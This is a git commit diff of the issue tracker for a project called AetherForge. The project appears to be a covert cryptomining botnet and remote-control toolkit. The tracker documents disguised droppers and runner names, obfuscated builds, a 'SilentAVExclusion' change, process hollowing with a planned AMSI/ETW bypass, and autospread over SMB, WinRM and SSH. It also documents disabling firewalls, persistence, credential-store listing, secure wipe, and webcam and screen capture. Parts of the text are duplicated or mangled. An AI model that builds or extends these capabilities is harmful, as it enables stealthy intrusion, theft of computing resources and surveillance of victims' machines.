Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -10,6 +10,8 @@
|
|||||||
/data/builds/
|
/data/builds/
|
||||||
/data/logs/
|
/data/logs/
|
||||||
/data/config.json
|
/data/config.json
|
||||||
|
/data/login-credentials.json
|
||||||
|
/data/users.json
|
||||||
/server/data/
|
/server/data/
|
||||||
|
|
||||||
# Go
|
# Go
|
||||||
|
|||||||
732
PROBLEMS.md
732
PROBLEMS.md
@@ -1,224 +1,662 @@
|
|||||||
|
|
||||||
## Builder / Forge
|
|
||||||
|
|
||||||
*Scope: B-01–B-13 (2026-06-04 pass). `go test ./internal/builder/... ./internal/api/...` — run after changes.*
|
|
||||||
|
|
||||||
### Fixed in this pass
|
|
||||||
|
|
||||||
| ID | Fix |
|
|
||||||
|----|-----|
|
|
||||||
| B-01 | `checkBuildSizeFile` enforced on universal/spread-kit and universal-fusion ZIP outputs (`limits.go`, `build_universal.go`). |
|
|
||||||
| B-02 | `signExecutable` runs on spread-kit workers and universal-fusion runners when `sign_build` is set (`build_universal.go`). |
|
|
||||||
| B-03 | Dropper `/get` resolves `DownloadURL` artifact paths before `FilePath` (`dropper_handler.go`; `dataDir` on handler). |
|
|
||||||
| B-04 | Fusion launcher compile respects `shouldObfuscate` / garble (`fusion_media.go`). |
|
|
||||||
| B-05 | Fusion estimate uses paired/embedded sizing; removed stale `"video"` kind branch (`estimate.go`). |
|
|
||||||
| B-06 | Estimate adds `signingToolMissingNote` when cert configured but signtool/osslsigncode absent (`estimate.go`, `sign_*.go`). |
|
|
||||||
| B-07 | Universal fusion README `RunnerName` uses `disguisedRunnerName(payloadBase)` (`build_universal.go`). |
|
|
||||||
| B-08 | `publishFusionDeliverable` falls back to `dataDir` when `projectRoot` empty (`fusion_media.go`). |
|
|
||||||
| B-09 | PathForge `Placed` excludes hint file from count (`pathforge.go`). |
|
|
||||||
| B-10 | Multipart parse limit raised to `multipartMaxMemory` (2 GiB + headroom) (`limits.go`, `handler.go`). |
|
|
||||||
| B-11 | Dropper PS1 ZIP handler also tries `start.bat` / `deploy.bat` (`dropper_handler.go`). |
|
|
||||||
| B-12 | `DownloadBuild` Content-Disposition uses `FileName` (`handler.go`). |
|
|
||||||
| B-13 | `resolveToolPaths` probes bundled `toolchain/gopath/bin` for garble and go-winres (`winres.go`). |
|
|
||||||
|
|
||||||
### Open
|
|
||||||
|
|
||||||
*(none in B-01–B-13 scope)*
|
### Open medium / by design
|
||||||
|
|
||||||
|
| Issue | Notes |
|
||||||
|
|
||||||
|
|-------|-------|
|
||||||
|
|
||||||
|
| **`bof_execute` disabled** | Agent returns explicit error in-memory BOF execution disabled for safety (`client.go`). |
|
||||||
|
|
||||||
|
| **Process hollowing AMSI/ETW** | Relocation patching done; Defender/ETW detection causes ~50% failure bypass not implemented (`hollow_windows.go`). |
|
||||||
|
|
||||||
|
| **Cloudflared on Linux server** | In-process tunnel start is Windows-only; Linux/macOS builds use no-op stub use external connector (`AF_TUNNEL_EXTERNAL`) or add cross-platform launcher. |
|
||||||
|
|
||||||
|
| **macOS camera / GPU miner** | Stubs return "not supported"; Linux has V4L2 + nvidia-smi path. |
|
||||||
|
|
||||||
|
| **Agent WireGuard auto-download** | Windows `ensureWGExe()` downloads WireGuard on first Path Tracer use heavy side effect; pre-install recommended. |
|
||||||
|
|
||||||
|
| **Non-Windows Path Tracer agent parity** | `pathtracer_stub.go` returns error on `wg_setup`; Linux/macOS agents cannot join WireGuard chains. |
|
||||||
|
|
||||||
|
| **KEV heuristics** | Non-Windows agents return catalog with `Status: n/a` Windows-only CVE matching.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Open large / deferred
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Issue | Notes |
|
||||||
|
|
||||||
|
|-------|-------|
|
||||||
|
|
||||||
|
| **Non-Windows agent parity** | `pathtracer_stub.go` returns error JSON on `wg_setup`; Linux/macOS cannot join chains. UI filters platform; server does not validate `platform` field. |
|
||||||
|
|
||||||
|
| **In-memory sessions only** | `TraceSession` map in handler RAM server restart loses session state while agents may still hold tunnels; no DB persistence or startup sweep. |
|
||||||
|
|
||||||
|
| **WireGuard auto-download** | Windows `ensureWGExe()` silently downloads/installs WireGuard on first use heavy, needs admin, no progress UI. |
|
||||||
|
|
||||||
|
| **No PathTracerPage Vitest** | Page logic (polling, chain selection, QR modal) untested; only `uiHelp.test.ts` covers help keys. |
|
||||||
|
|
||||||
|
| **No agent-side pathtracer tests** | `pathtracer_windows.go` / stub have zero Go tests. |
|
||||||
|
|
||||||
|
| **NAT / symmetric UDP** | UPnP + DB IP fallback may still yield unreachable endpoints; no STUN/TURN or connectivity probe after configure. |
|
||||||
|
|
||||||
|
| **Fixed listen port 51820** | All hops use same UDP port multiple agents behind one NAT may conflict; no per-hop port allocation. |
|
||||||
|
|
||||||
|
| **Agent display name vs hostname** | WS auth `UpsertAgent` overwrites `name` with hostname on every connect operator-renamed fleet labels may not appear in Path Tracer unless re-saved after connect. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Open medium / UX
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Issue | Notes |
|
||||||
|
|
||||||
|
|-------|-------|
|
||||||
|
|
||||||
|
| **Visual island (green vs deck)** | Page uses `#00ffaa` WireGuard chrome while `data-operator-deck='pathtracer'` sets blue accent (`operatorDeck.css`); intentional branding split (see DV-07). |
|
||||||
|
|
||||||
|
| **Status polling only** | UI polls `/status` every 2s no WebSocket push for hop progress; acceptable latency but stale during orchestration. |
|
||||||
|
|
||||||
|
| **Error path leaves tracing UI** | On `status.error`, `tracing` clears but session remains server-side until operator clicks End or TTL hops show failed state in chain panel. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Dashboard (React/Vite)
|
|
||||||
|
|
||||||
*Audit fixes: 2026-06-04. `npm run test -- --run` in `server/web` — pass.*
|
|
||||||
|
|
||||||
### Fixed in this pass
|
|
||||||
|
|
||||||
| Fix | Area |
|
|
||||||
|-----|------|
|
### Open large / deferred
|
||||||
| SessionGate distinguishes 401 vs transport errors; network blip keeps saved credentials with degraded banner | `SessionGate.tsx` |
|
|
||||||
| Session expiry message when 401 clears auth mid-session (`consumeAuthExpiredFlag`) | `auth.ts`; `client.ts`; `SessionGate.tsx` |
|
|
||||||
| Download timeouts + AbortError messaging: `downloadAuthedFile`, `downloadAgentLog`, `downloadBackup` (5 min / 10 min) | `download.ts`; `client.ts` |
|
|
||||||
| Agent log `refresh=1` uses 90s timeout (long-poll) | `client.ts` |
|
| Issue | Notes |
|
||||||
| Re-forge requires confirmation before compile; fusion prep picker highlights on missing payload | `BuilderPage.tsx` |
|
|
||||||
| BuildManager delete/pin errors surfaced; dropper copy clarifies pinned vs latest; `serverBase` prefers `suggested_url` via parallel `getServerInfo` | `BuildManagerPage.tsx` |
|
|-------|-------|
|
||||||
|
|
||||||
|
| **No CI-automated HTTP forge** | `scripts/e2e-validate.ps1 -ForgeAgent` still manual (multipart fusion, long compile). Live compile gated behind `LIVE_FORGE=1` + `-tags liveforge`. |
|
||||||
|
|
||||||
|
| **PathForge test gaps** | Only `TestPathForgePlacedExcludesHintFile`; no skipped-counter, lock-original, or frontend UI tests. |
|
||||||
|
|
||||||
|
| **Forge cancellation / batch races** | Cancel token API tested in isolation; concurrent batch forge + mid-compile cancel not covered. |
|
||||||
|
|
||||||
|
| **Non-Windows forge host limits** | PE disguise (`disguise_stub.go`) and Windows signing (`sign_stub.go` / osslsigncode) are platform-constrained by design. |
|
||||||
|
|
||||||
|
| **Mac PathForge runtime dependency** | `.command` launchers curl `/api/download/agent-mac` at runtime requires reachable `server_url` and pre-placed agent binary. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Open low
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Issue | Notes |
|
||||||
|
|
||||||
|
|-------|-------|
|
||||||
|
|
||||||
|
| `pathforge_test.go` dead loop | Lines 6672 iterate `entry.Files` but assert nothing harmless test noise. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Open (document-only / deferred)
|
### Open (document-only / deferred)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
| Issue | Notes |
|
| Issue | Notes |
|
||||||
|
|
||||||
|-------|--------|
|
|-------|--------|
|
||||||
| Emberwake public-build toggle in Builds UI | API `PUT /builds/{id}/public` exists; Builds page checkbox not wired yet — use API or Calibrate `public_builds_enabled` |
|
|
||||||
| Dual storage without sync policy | Complex cross-tab sync — session preferred over local; `aetherforge-auth` event on logout |
|
| Dual storage without sync policy | Complex cross-tab sync session preferred over local; `aetherforge-auth` event on logout |
|
||||||
| Flaky progress simulation vs. real compile time | Cosmetic — stage timeline caps at 94% until server responds (45 min client timeout) |
|
|
||||||
| Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races — needs dedicated tests |
|
| Flaky progress simulation vs. real compile time | Cosmetic stage timeline caps at 94% until server responds (45 min client timeout) |
|
||||||
|
|
||||||
|
| Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races needs dedicated tests |
|
||||||
|
|
||||||
| DashboardPage tests emit ECONNREFUSED stderr | Failure-path tests; happy-dom hits `localhost:3000`; tests pass |
|
| DashboardPage tests emit ECONNREFUSED stderr | Failure-path tests; happy-dom hits `localhost:3000`; tests pass |
|
||||||
| DownloadButton mock aliasing pattern | Document for new download helpers — shared mock fn already in `components.test.tsx` |
|
|
||||||
|
|
||||||
---
|
| DownloadButton mock aliasing pattern | Document for new download helpers shared mock fn already in `components.test.tsx` |
|
||||||
|
|
||||||
Server API — deeper issues only
|
|
||||||
Source: `server/internal/api` audit (2026-06-04). **API-D01–D10 addressed 2026-06-04** (`go test ./internal/api/... -count=1` PASS).
|
|
||||||
|
|
||||||
### Fixed (2026-06-04)
|
|
||||||
|
|
||||||
| ID | Fix |
|
|
||||||
|----|-----|
|
|
||||||
| API-D01 | `POST /api/v1/auth/ws-ticket` issues 2‑min one-time tickets; dashboard WS prefers `?ticket=`; legacy `?token=` retained as fallback. |
|
|
||||||
| API-D02 | Per-IP agent WS upgrade rate limit (429) + 45s pre-auth read deadline before disconnect. |
|
|
||||||
| API-D03 | `MarkBeaconSeen` / `EnqueueBeaconCommand` require agent row in DB; beacon upsert runs before mark. |
|
|
||||||
| API-D04 | CoinGecko fetch checks HTTP status; retries 429/5xx up to 3 attempts with backoff. |
|
|
||||||
| API-D05 | `POST /api/v1/users` validates username (3–32, alnum/`_`/`-`) and password (4–128); **409** on existing username. |
|
|
||||||
| API-D06 | Agent WS read loop logs unknown `msg.Type` in `default` branch. |
|
|
||||||
| API-D07 | `notifyCmdCallback` uses blocking channel send (no drop on full buffer). |
|
|
||||||
| API-D08 | `GET /agents/{id}/stats` returns **404** when agent missing (parity with `GET /agents/{id}`). |
|
|
||||||
| API-D09 | **By design** — `/api/download/agent-*` and dropper `/get` stay unauthenticated; URL knowledge is the gate. |
|
|
||||||
| API-D10 | Legacy `?token=` WS auth uses `authSessionCache` (bcrypt skip on cache hit), same as REST. |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Fixed (2026-06-04)
|
--
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Open (2026-06-06 audit LARGE)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- **`tunnel_stream` not implemented** server-side TCP reverse relay documented as future work (`README.md`).
|
||||||
|
|
||||||
|
- **Server `cloudflared` launcher no-op on non-Windows** Linux server deploy cannot auto-launch tunnels (`cloudflared/launcher_stub.go`).
|
||||||
|
|
||||||
|
|
||||||
- **`mergeConfig`:** now merges `server.fleet_secret` and `tunnel_defaults` (file load still uses `mergeConfigExplicit` for bool safety).
|
|
||||||
- **`pool.Manager`:** `poolKey` includes `PaymentID` to avoid integrated-address proxy collisions.
|
|
||||||
- **`GetSpreadFunnelStats`:** `new_connects_today` now uses caller `since` (aligned with `by_build` window).
|
|
||||||
- **`LAUNCH.bat` / `devrun.bat`:** read `port` from `data/config.json` for display; launch without `-port` so config wins.
|
|
||||||
|
|
||||||
### Low (open)
|
### Low (open)
|
||||||
|
|
||||||
- `db.New` ignores `MkdirAll` failure.
|
|
||||||
|
|
||||||
|
- **`mergeConfig` partial-PUT `UseTLS` legacy behavior** omitted keys may not reset bools; see `config_test.go`.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Fusion / PathForge
|
|
||||||
|
|
||||||
*Audit: fusion pathforge (2026-06-04). Builder + API tests — pass.*
|
|
||||||
|
|
||||||
### Fixed (2026-06-04)
|
|
||||||
|
|
||||||
- **F1 — Path Tracer WireGuard peer topology:** `buildHopPeers` adds client peer on hop 1 (`10.66.0.1/32`); single-hop no longer gets empty `peers`; multi-hop adds reverse peers on middle/exit hops. Tests: `pathtracer_handler_test.go` (`TestBuildHopPeers*`, `TestPathTracerOrchestrationConfigurePeers`).
|
|
||||||
- **Path Tracer session expiry:** background cleanup goroutine removes sessions after 2h and sends `wg_teardown`. Test: `TestPathTracerSessionExpiry`.
|
|
||||||
- **PathForge `Skipped` counter:** incremented for non-matching files during walk.
|
|
||||||
- **PathForge `dataDir`:** used as fallback search path in `findAgentBinary`.
|
|
||||||
- **Mac PathForge `server_url`:** required when `target_mac` is enabled (400 if missing).
|
|
||||||
- **Tests added:** `pathforge_test.go` (HTTP validation, skipped counter, placement); `pathtracer_handler_test.go` (peer topology + mock-agent orchestration).
|
|
||||||
|
|
||||||
### High (open)
|
### High (open)
|
||||||
|
|
||||||
- `fusion/` package has no tests (coverage only in `server/internal/builder/fusion_*_test.go`).
|
|
||||||
|
|
||||||
|
- **Non-Windows Path Tracer agent parity** `pathtracer_stub.go` returns error on `wg_setup`; Linux/macOS agents cannot join WireGuard chains.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Medium (open)
|
### Medium (open)
|
||||||
|
|
||||||
- **Agent WireGuard auto-download:** Windows agent `ensureWGExe()` downloads and silently installs WireGuard from `download.wireguard.com` on first Path Tracer use if not already present (`agent/client/pathtracer_windows.go`). Heavy side effect; no server-side fix — operator should pre-install WireGuard on fleet hosts or accept first-run download latency.
|
|
||||||
|
|
||||||
|
- **Agent WireGuard auto-download:** Windows agent `ensureWGExe()` downloads and silently installs WireGuard from `download.wireguard.com` on first Path Tracer use if not already present (`agent/client/pathtracer_windows.go`). Heavy side effect; no server-side fix operator should pre-install WireGuard on fleet hosts or accept first-run download latency.
|
||||||
|
|
||||||
- Mac PathForge `.command` still depends on `server_url` + `/api/download/agent-mac` at runtime (now validated at forge time).
|
- Mac PathForge `.command` still depends on `server_url` + `/api/download/agent-mac` at runtime (now validated at forge time).
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Crucible (Remote Operations Theater)
|
|
||||||
|
|
||||||
*Expansion pass: 2026-06-04. `npm run test -- --run` in `server/web`; `go test ./agent/client/...`.*
|
|
||||||
|
|
||||||
### Phase A — wired (done)
|
|
||||||
|
|
||||||
| Op | Command / API | Notes |
|
|
||||||
|----|----------------|-------|
|
|
||||||
| Connectivity Probe | `connectivity_probe` | JSON to terminal |
|
|
||||||
| Listen Ports / Patch Status | `listen_ports`, `patch_status` | Individual chips (Deep Scan still runs both) |
|
|
||||||
| Firewall suite | `firewall_punch`, `firewall_off`, `firewall_on`, `firewall_profiles`, `firewall_remove` | `canRunAggressiveAction` gates |
|
|
||||||
| UPnP | `hole_punch_status`, `hole_punch_close` | Hole Punch forge flag |
|
|
||||||
| Bulk Tunnel Stop | `tunnel_stop` + `all` | Selected online nodes |
|
|
||||||
| Mesh Peers | `mesh_status` | Mesh P2P forge flag |
|
|
||||||
| Persistence | `bits_persist`, `host_binary_persist` | Win + Remote Aggressive |
|
|
||||||
| Fleet Upgrade | build picker → `upgrade` | `listBuilds` download URL |
|
|
||||||
| Registry panel | `registry_read` / `write` / `delete` | Single or bulk Win (confirm) |
|
|
||||||
| Live Desktop | `screenshot` poll 3s | Single-node toggle |
|
|
||||||
| Wake-on-LAN | `POST /agents/{id}/wol` | Works offline |
|
|
||||||
|
|
||||||
UI: collapsible **Network**, **Persistence**, **Fleet Maintenance** groups in `CrucibleExpandedOps.tsx`; styling in `CruciblePage.css`.
|
|
||||||
|
|
||||||
### Phase B — partial
|
|
||||||
|
|
||||||
| Op | Status |
|
|
||||||
|----|--------|
|
|
||||||
| `arp_neighbors` | **Done** — `deploy.ArpNeighborIPs()` JSON |
|
|
||||||
| `camera_list` + picker | **Done** — device via `command` on `camera_snapshot` |
|
|
||||||
| `persistence_audit` | **Done** — read-only Run/tasks/systemd/launchd JSON |
|
|
||||||
| `kill_process` | **Done** — `{ command: pid }` |
|
|
||||||
| `delete_path` / `move_path` | **Done** — file_ops guards (no dirs/system roots) |
|
|
||||||
|
|
||||||
### Phase C — done (2026-06-04)
|
|
||||||
|
|
||||||
| Op | Command | Notes |
|
| Op | Command | Notes |
|
||||||
|----|---------|-------|
|
|
||||||
| SMB share enumeration | `smb_shares` | Windows + Remote Aggressive; ARP/subnet hosts → `net view` JSON |
|
|
||||||
| Spread status | `spread_status` | In-memory last sweep (`deploy/spread_status.go`); read-only |
|
|
||||||
| Credential names | `credential_vault_list` | Win Credential Manager / macOS Keychain / Linux secret-tool + `~/.ssh` paths — names only |
|
|
||||||
| Secure wipe | `secure_wipe` | Overwrite-then-delete folder; system-root guards; confirm in UI |
|
|
||||||
| Port-forward matrix | `tunnel_ssh_forward` × N | `CruciblePortForwardMatrix` — multi-row grid on selected Windows nodes |
|
|
||||||
|
|
||||||
UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces “coming soon” stubs).
|
|----|---------|-------|
|
||||||
|
|
||||||
|
| SMB share enumeration | `smb_shares` | Windows + Remote Aggressive; ARP/subnet hosts ? `net view` JSON |
|
||||||
|
|
||||||
|
| Spread status | `spread_status` | In-memory last sweep (`deploy/spread_status.go`); read-only |
|
||||||
|
|
||||||
|
| Credential names | `credential_vault_list` | Win Credential Manager / macOS Keychain / Linux secret-tool + `~/.ssh` paths names only |
|
||||||
|
|
||||||
|
| Secure wipe | `secure_wipe` | Overwrite-then-delete folder; system-root guards; confirm in UI |
|
||||||
|
|
||||||
|
| Port-forward matrix | `tunnel_ssh_forward` × N | `CruciblePortForwardMatrix` multi-row grid on selected Windows nodes |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces coming soon stubs).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Agent (Go)
|
|
||||||
|
|
||||||
### Linux / macOS parity (2026-06-04 pass)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Linux / macOS parity
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
| Area | Status |
|
| Area | Status |
|
||||||
|
|
||||||
|------|--------|
|
|------|--------|
|
||||||
|
|
||||||
| **Mining + hashrate** | RandomX pure-Go engine works on Linux/macOS; stats loop sends `hashrate_15s/1m/15m` + shares over WS. |
|
| **Mining + hashrate** | RandomX pure-Go engine works on Linux/macOS; stats loop sends `hashrate_15s/1m/15m` + shares over WS. |
|
||||||
| **Idle schedule guard** | **Fixed** — `SystemCPUPercent` was always 0 on Unix (`reporter_unix.go`), blocking idle-mode mining; Linux uses `/proc/stat`, macOS uses `sysctl kern.cp_time`. |
|
|
||||||
|
| **Idle schedule guard** | **Fixed** `SystemCPUPercent` was always 0 on Unix (`reporter_unix.go`), blocking idle-mode mining; Linux uses `/proc/stat`, macOS uses `sysctl kern.cp_time`. |
|
||||||
|
|
||||||
| **Screenshot** | Linux: scrot / ImageMagick `import` / gnome-screenshot. macOS: `screencapture`. |
|
| **Screenshot** | Linux: scrot / ImageMagick `import` / gnome-screenshot. macOS: `screencapture`. |
|
||||||
|
|
||||||
| **Camera** | Linux V4L2 via ffmpeg/fswebcam (`camera_linux.go`). macOS: stub. |
|
| **Camera** | Linux V4L2 via ffmpeg/fswebcam (`camera_linux.go`). macOS: stub. |
|
||||||
|
|
||||||
| **File ops** | Cross-platform (`file_ops_unix.go` / `file_ops_windows.go`). |
|
| **File ops** | Cross-platform (`file_ops_unix.go` / `file_ops_windows.go`). |
|
||||||
|
|
||||||
| **Posture** | Unix collectors return firewall/AV/patch data (`posture_unix.go`), not all n/a. |
|
| **Posture** | Unix collectors return firewall/AV/patch data (`posture_unix.go`), not all n/a. |
|
||||||
|
|
||||||
| **Spread** | SSH path on Linux/macOS (`autospread_unix.go`); SMB/WinRM Windows-only by design. |
|
| **Spread** | SSH path on Linux/macOS (`autospread_unix.go`); SMB/WinRM Windows-only by design. |
|
||||||
| **Firewall ops** | Linux ufw/iptables (`firewall_linux_ops.go`); macOS still stub. |
|
|
||||||
|
| **Firewall ops** | Linux ufw/iptables (`firewall_linux_ops.go`); **macOS pf + socketfilterfw** (`firewall_darwin_ops.go`); other Unix stubs. |
|
||||||
|
|
||||||
| **GPU miner** | Windows-only T-Rex path; Linux/macOS stub with detect-only. |
|
| **GPU miner** | Windows-only T-Rex path; Linux/macOS stub with detect-only. |
|
||||||
| **Docker E2E** | `docker/docker-compose.yml` — isolated agent + server; see `docker/README.md`. |
|
|
||||||
|
| **Docker E2E** | `docker/docker-compose.yml` isolated agent + server; see `docker/README.md`. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Open
|
### Open
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
- **Client:** WebSocket/beacon paths integration-only in CI (Docker Tier 2 closes Linux slice).
|
- **Client:** WebSocket/beacon paths integration-only in CI (Docker Tier 2 closes Linux slice).
|
||||||
- **macOS:** firewall aggressive ops, camera, GPU miner — stubs or partial.
|
|
||||||
|
- **macOS:** camera, GPU miner stubs or partial; firewall aggressive ops implemented (see Backend BE-04).
|
||||||
|
|
||||||
- **Linux screenshot:** headless containers need `xvfb` + scrot or custom `command` field.
|
- **Linux screenshot:** headless containers need `xvfb` + scrot or custom `command` field.
|
||||||
|
|
||||||
### Fixed (2026-06-04)
|
- **`bof_execute` permanently disabled** handler always fails (`client.go`); product/safety decision.
|
||||||
|
|
||||||
|
- **Linux/macOS GPU RVN mining broken** `detectGPU()` may find NVIDIA, but `spec()` downloads Windows `.exe` miners (`gpu_miner.go`, `gpu_detect_stub.go`).
|
||||||
|
|
||||||
|
- **Mesh P2P without `-tags p2p`** default build reports 0 peers; UI exposes `mesh_status` with re-forge hint (`mesh_p2p_stub.go`).
|
||||||
|
|
||||||
|
- **Process hollowing AMSI/ETW bypass not implemented** documented ~50% failure rate (`hollow_windows.go`).
|
||||||
|
|
||||||
|
- **KEV exposure scan non-Windows** all CVEs marked `n/a` (`cve_scan_stub.go`).
|
||||||
|
|
||||||
|
- **Unknown Unix CPU stats stub returns 0** can break idle-mining guard on exotic platforms (`cpu_stub.go`).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Open (document-only / deferred)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Issue | Notes |
|
||||||
|
|
||||||
|
|-------|--------|
|
||||||
|
|
||||||
|
| Dual storage without sync policy | Complex cross-tab sync session preferred over local; `aetherforge-auth` event on logout |
|
||||||
|
|
||||||
|
| Flaky progress simulation vs. real compile time | Cosmetic stage timeline caps at 94% until server responds (45 min client timeout) |
|
||||||
|
|
||||||
|
| Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races needs dedicated tests |
|
||||||
|
|
||||||
|
| DashboardPage tests emit ECONNREFUSED stderr | Failure-path tests; happy-dom hits `localhost:3000`; tests pass |
|
||||||
|
|
||||||
|
| DownloadButton mock aliasing pattern | Document for new download helpers shared mock fn already in `components.test.tsx` |
|
||||||
|
|
||||||
|
| `server/webroot` not auto-synced on `npm run build` | Manual step via `devrun.bat` or copy; stale webroot served old hashed assets |
|
||||||
|
|
||||||
|
| Vitest stderr noise | `FleetTopologyMap` three.js tags warn in happy-dom tests pass |
|
||||||
|
|
||||||
|
|
||||||
| Area | Fix |
|
|
||||||
|------|-----|
|
|
||||||
| **Mesh** | Relay path uses `write()` under `AgentClient.mu` (no direct `conn` read); `MeshNode.Stop()` tears down mDNS/host; one-way relay documented; unit tests in `client/mesh_test.go` and `client/mesh_p2p_test.go` (`-tags p2p`). |
|
|
||||||
| **Miner** | `HashAtNonce` returns `ErrEngineNotReady` / `ErrBlobTooShort` instead of empty+nil; edge-case tests updated in `miner/engine_test.go`. |
|
|
||||||
| **Spread** | Shared `deploy/subnet.go`: IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in `subnet.go` and autospread entrypoints. |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Integration audit (2026-06-04)
|
|
||||||
|
|
||||||
*Post–alive-UI wave verification. Commands: `go test ./...` in `agent/` and `server/`; `go test ./internal/api/... ./internal/db/...`; `npm run test -- --run` + `npm run build` in `server/web`.*
|
|
||||||
|
### Open (needs product copy or broader pass)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| ID | Issue | Notes |
|
||||||
|
|
||||||
|
|----|-------|-------|
|
||||||
|
|
||||||
|
| UH-01 | Crucible expanded ops (spread/tunnels/recon buttons) | 40+ buttons still rely on `title=` only no `HelpTip` on each `CrucibleExpandedOps` action |
|
||||||
|
|
||||||
|
| UH-02 | Fleet Roster / Agents page bulk toolbar | Filter chips and bulk actions lack inline help |
|
||||||
|
|
||||||
|
| UH-03 | Emberwake / War Room campaign widgets | Funnel stages need `HelpTip` parity with Command Deck funnel |
|
||||||
|
|
||||||
|
| UH-04 | Mission Deck | Page has minimal operator guidance |
|
||||||
|
|
||||||
|
| UH-05 | Builder mission wizard chips | Inline blurbs exist on chips; not all advanced forge sections have `HelpTip` (see `docAnchors.test` gap list) |
|
||||||
|
|
||||||
|
| UH-06 | Settings tabs beyond Calibrate/Forge | Alerts, webhooks, desktop push sections partially covered |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Open (visual / UX debt)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| ID | Issue | Files / notes |
|
||||||
|
|
||||||
|
|----|-------|----------------|
|
||||||
|
|
||||||
|
| DV-01 | **Neon cyan fragmentation** canonical token is `--neon-cyan: #00e8f5` but components hard-code `#00f5ff`, `#00e5ff`, and `#0ff` fallbacks | `AgentRemoteActions.css`, `HashrateChart.tsx`, `BuildManagerPage.tsx`, `ProtocolTunnelPanel.css`, `FileManager.css` (fixed), sacred geometry SVGs |
|
||||||
|
|
||||||
|
| DV-02 | **Page header patterns diverge** most pages use `deck-hero` + eyebrow; Build Manager uses `bm-header` / `bm-title`; Path Tracer uses green `.pt-title` (`#00ffaa`); Forge says The Forge vs nav Forge | `BuildManagerPage.tsx/css`, `PathTracerPage.css`, `BuilderPage.tsx`, `Layout.tsx` NAV |
|
||||||
|
|
||||||
|
| DV-03 | **`SacredPageHeader` unused** component + `.page-header--sacred` CSS exist but no page imports it; dead design path | `SacredPageHeader.tsx`, `sacred-geometry.css` |
|
||||||
|
|
||||||
|
| DV-04 | **`Pages.css` duplicate / conflicting rules** two `.empty-state` blocks (L192 vs L1078); second `.page-header h1` block overrides `visual-polish` gradient when page CSS loads after global polish | `Pages.css`; load order via per-page imports |
|
||||||
|
|
||||||
|
| DV-05 | **Default dashboard subtitle** out-of-box copy is security is just an emotion until Calibrate overrides `dashboard_subtitle`; reads as placeholder to new operators | `DashboardPage.tsx` L70; `SettingsPage.tsx` L131 |
|
||||||
|
|
||||||
|
| DV-06 | **Path Tracer buried in nav** desktop sidebar lists it last; mobile hides it under More while Crucible/Forge are primary tabs | `Layout.tsx` MOBILE_PRIMARY vs MOBILE_MORE |
|
||||||
|
|
||||||
|
| DV-07 | **Path Tracer visual island** green WireGuard aesthetic (`#00ffaa`) does not use operator-deck page classes or brass/neon deck chrome | `PathTracerPage.css`, `PathTracerPage.tsx` (missing `operator-deck-page`) |
|
||||||
|
|
||||||
|
| DV-08 | **Chart lazy-load placeholder is invisible** `ChartPlaceholder` is an empty div at 35% opacity; advanced charts pop in with layout shift | `DashboardPage.tsx` L5153 |
|
||||||
|
|
||||||
|
| DV-09 | **Dead chart badge styles** `.chart-live.sample` / `.blend` in wealth-deck CSS; `resolveChartSeries` no longer emits sample mode | `wealth-deck.css`; `chartSampleData.ts` |
|
||||||
|
|
||||||
|
| DV-10 | **Docs vs in-app naming drift** wiki says Calibrate (Settings), Command Deck, Forge / Builder; nav uses Calibrate, Command Deck, Forge; Emberwake route was `/spread` redirect | `public/docs/index.html`, `Layout.tsx`, `App.tsx` |
|
||||||
|
|
||||||
|
| DV-11 | **Public spread landing vs Emberwake** `/spread/` static kit uses `aether.css` deck tokens (good) but typography/spacing differs slightly from in-app Emberwake cards | `public/spread/assets/aether.css`, `EmberwakePage.css` |
|
||||||
|
|
||||||
|
| DV-12 | **Emoji in status bar / actions** ?? DOCS pill, agent action buttons (?? ? ?) inconsistent with otherwise SVG-icon nav | `SystemStatusBar.tsx`, `AgentRemoteActions.tsx` |
|
||||||
|
|
||||||
|
